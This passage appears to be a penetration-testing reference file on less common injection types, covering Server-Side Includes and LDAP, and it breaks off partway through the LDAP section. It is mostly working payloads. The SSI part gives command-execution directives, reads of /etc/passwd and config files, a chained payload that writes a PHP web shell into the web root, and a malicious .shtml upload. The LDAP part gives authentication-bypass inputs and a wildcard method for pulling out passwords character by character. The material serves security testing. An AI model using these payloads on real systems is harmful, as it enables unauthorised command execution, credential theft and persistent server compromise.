Injection Checking

# Extra Injection Types — SSI, LDAP, XPath

> Companion to [SKILL.md](./SKILL.md). Covers injection types that are less common in modern web apps but still appear in specific technology stacks.

---

## 1. SSI Injection (Server-Side Includes)

### Mechanism

SSI directives are parsed by the web server (Apache, Nginx, IIS) before sending the response. If user input is embedded in `.shtml` or SSI-enabled pages without sanitization:

```
<!--#exec cmd="id"-->
<!--#include virtual="/etc/passwd"-->
```

### Detection

```text
# Probe: inject SSI directive in form field, URL param, or header:
<!--#echo var="DATE_LOCAL"-->

# If response contains the current date → SSI is active and input is parsed

# Confirm command execution:
<!--#exec cmd="id"-->
```

### Prerequisites

- Apache with `mod_include` and `Options +Includes`
- File extension `.shtml` or `AddOutputFilter INCLUDES .html`
- Nginx with `ssi on;` in location block
- IIS with SSI feature installed

### Key Payloads

```text
# Command execution:
<!--#exec cmd="id"-->
<!--#exec cmd="cat /etc/passwd"-->
<!--#exec cmd="ls -la"-->

# File include:
<!--#include virtual="/etc/passwd"-->
<!--#include file="config.php"-->

# Variable echo (safe probe):
<!--#echo var="DOCUMENT_ROOT"-->
<!--#echo var="SERVER_SOFTWARE"-->
<!--#echo var="REMOTE_ADDR"-->

# Chained with file write:
<!--#exec cmd="echo '<?php system($_GET[c]);?>' > /var/www/html/shell.php"-->
```

### Nginx SSI Configuration

```nginx
location / {
    ssi on;
    ssi_types text/shtml;
}
```

### Real-World Case: SSI via File Upload

Upload a file named `shell.shtml` with SSI directives:
```text
<!--#exec cmd="whoami"-->
```

If the web server processes `.shtml` files → command executes on page load.

### Where to Test

- Guest books, comment systems, forums
- Error pages that include user input
- Any `.shtml` endpoint accepting user data
- File upload → upload `.shtml` file with SSI directives

---

## 2. LDAP Injection

### Mechanism

LDAP queries use a filter syntax. When user input is concatenated into filters without sanitization:

```
Original:  (&(uid=USER_INPUT)(password=PASS_INPUT))
Injection: (&(uid=admin)(|(password=*)(1=1)))(password=anything))
```

### Detection

```text
# Authentication bypass — classic:
Username: admin)(&)
Password: anything
# Filter becomes: (&(uid=admin)(&))(password=anything))
# The (&) always evaluates to TRUE

# OR injection:
Username: *)(uid=*))(|(uid=*
Password: anything
# Lists all users
```

### Common Filter Patterns

```text
# Search filter: (&(cn=INPUT)(objectClass=person))
# Auth filter:   (&(uid=INPUT)(userPassword=INPUT2))

# Metacharacters:
*   — wildcard (matches anything)
()  — grouping
&   — AND
|   — OR
!   — NOT
```

### Exploitation Scenarios

#### Authentication Bypass — Null Byte Truncation

```text
# When passwords are hashed (common in OpenLDAP):
Username: admin%00                 # URL-encoded null byte
# In Burp, change %2500 to %00 (actual null byte)
# LDAP query: (&(uid=admin\00)(userPassword=...))
# Null byte truncates the filter → password check skipped
```

#### Authentication Bypass — Wildcard and Logic

```text
# Simple wildcard:
Username: *
Password: *
# If filter: (&(uid=*)(userPassword=*)) → matches ALL entries

# Logic closure:
Username: zhang)(|(& 
Password: 1
# Filter becomes: (&(uid=zhang)(|(&)(userpassword=1))) → always TRUE
```

#### Authentication Bypass — Alternative Closures

```text
# Username: admin)(!(&(1=0))
# Password: anything
# Result: (&(uid=admin)(!(&(1=0)))(password=anything))
# The !(&(1=0)) = !(FALSE) = TRUE → bypasses password check
```

#### Data Extraction via Wildcard

```text
# Enumerate attributes character by character:
(&(uid=admin)(password=a*))  → invalid → password doesn't start with 'a'
(&(uid=admin)(password=b*))  → invalid
(&(uid=admin)(password=s*))  → valid! → password starts with 's'
(&(uid=admin)(password=se*)) → valid! → second char is 'e'
...
# Continue until full password is extracted
```

#### OR Filter Injectio